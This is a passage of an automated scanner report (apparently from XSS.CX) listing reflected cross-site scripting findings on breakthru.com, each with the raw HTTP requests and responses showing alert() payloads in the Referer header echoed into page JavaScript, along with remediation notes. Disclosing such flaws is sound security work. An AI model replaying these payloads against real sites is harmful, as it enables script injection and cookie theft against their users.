Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;
Referer: http://www.google.com/search?hl=en&q=14e66"-alert(1)-"803cd91dc14

Response (redirected)

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:26:46 GMT
Server: Apache
Set-Cookie: break_who=r,ePJRi1/xtKtjpVpOtfMiHwWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:46 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:46 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:46 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:46 GMT
Set-Cookie: HISTORY=20101210-3-Dc2; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:46 GMT
Set-Cookie: click_id_time=427812467_2010-12-10 07:26:46; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:46 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii32-27.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 13573

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...
(timedout==1)?'5000+':pageEndTime-pageStartTime;var sessionId=escape("0Nf7=;TF@kNE 1291994513 174.121.222.18 ");var pageName=escape(location.pathname);var referer="http://www.google.com/search?hl=en&q=14e66"-alert(1)-"803cd91dc14";var refererPageName=getRefererPageName(referer);var screenResolution=screen.width+"x"+screen.height;var glean=new Image();var ffProto=("https:"==document.location.protocol)?"https://":"http://";var r
...[SNIP]...

2.8. http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://breakthru.com
Path:   /go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2d742"-alert(1)-"c2651556214 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd HTTP/1.1
Host: breakthru.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=2d742"-alert(1)-"c2651556214
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: break_who=r,LVqYnpdRNbaNmhEZKeU5dwWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; v_hash=_english_; IP_COUNTRY=United States; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; HISTORY=20101210-1-Dc; REFERRAL_URL=; click_id_time=682836376_2010-12-10 07:21:53; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmb=147063780.0.10.1291994469; __utmc=147063780

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:28:10 GMT
Server: Apache
Set-Cookie: break_who=r,XJN_7rD7YpH0O0lt8eVgNAWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:10 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:10 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:10 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:10 GMT
Set-Cookie: HISTORY=20101210-2-Dc1; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:10 GMT
Set-Cookie: REFERRAL_URL=http://www.google.com/search?hl=en&q=2d742"-alert(1)-"c2651556214; path=/; domain=.breakthru.com; expires=Sat, 11-Dec-2010 03:28:10 GMT
Set-Cookie: click_id_time=1837343770_2010-12-10 07:28:10; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:10 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii32-27.friendfinderinc.com
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 13573

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...
(timedout==1)?'5000+':pageEndTime-pageStartTime;var sessionId=escape("0Nf7=;TF@kNE 1291994513 174.121.222.18 ");var pageName=escape(location.pathname);var referer="http://www.google.com/search?hl=en&q=2d742"-alert(1)-"c2651556214";var refererPageName=getRefererPageName(referer);var screenResolution=screen.width+"x"+screen.height;var glean=new Image();var ffProto=("https:"==document.location.protocol)?"https://":"http://";var r
...[SNIP]...

2.9. http://breakthru.com/p/help.cgi [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://breakthru.com
Path:   /p/help.cgi

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3ee55"-alert(1)-"695e804d8ca was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /p/help.cgi HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;
Referer: http://www.google.com/search?hl=en&q=3ee55"-alert(1)-"695e804d8ca

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:26:36 GMT
Server: Apache
Set-Cookie: break_who=r,XJN_7rD7YpH0O0lt8eVgNAWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:36 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:36 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:36 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:36 GMT
Set-Cookie: HISTORY=20101210-3-Dc1h; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:36 GMT
P3P: CP="DSP LAW"
X-ApacheServer: ii73-17.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=103
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 17292

<html>
<head>
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.css" />
<link rel="shortcut icon" type="image/x-icon" href="http://graphics.breakthru.c
...[SNIP]...
(timedout==1)?'5000+':pageEndTime-pageStartTime;var sessionId=escape("0Nf7=;TF@kNE 1291994513 174.121.222.18 ");var pageName=escape(location.pathname);var referer="http://www.google.com/search?hl=en&q=3ee55"-alert(1)-"695e804d8ca";var refererPageName=getRefererPageName(referer);var screenResolution=screen.width+"x"+screen.height;var glean=new Image();var ffProto=("https:"==document.location.protocol)?"https://":"http://";var r
...[SNIP]...

2.10. http://breakthru.com/p/partners/main.cgi [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://breakthru.com
Path:   /p/partners/main.cgi

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a834b"-alert(1)-"2e6fa5520b3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /p/partners/main.cgi HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;
Referer: http://www.google.com/search?hl=en&q=a834b"-alert(1)-"2e6fa5520b3

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:26:54 GMT
Server: Apache
Set-Cookie: break_who=r,EcrEBpaPm_GMDKF9JX7ghAWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:54 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:54 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:54 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:54 GMT
Set-Cookie: HISTORY=20101210-3-Dc1f; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:54 GMT
P3P: CP="DSP LAW"
X-ApacheServer: ii73-17.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=126
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 50400

<html>
<head>
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.css" />
<link rel="shortcut icon" type="image/x-icon" href="http://graphics.breakthru.c
...[SNIP]...
(timedout==1)?'5000+':pageEndTime-pageStartTime;var sessionId=escape("0Nf7=;TF@kNE 1291994513 174.121.222.18 ");var pageName=escape(location.pathname);var referer="http://www.google.com/search?hl=en&q=a834b"-alert(1)-"2e6fa5520b3";var refererPageName=getRefererPageName(referer);var screenResolution=screen.width+"x"+screen.height;var glean=new Image();var ffProto=("https:"==document.location.protocol)?"https://":"http://";var r
...[SNIP]...

Report generated by XSS.CX at Fri Dec 10 10:45:32 CST 2010.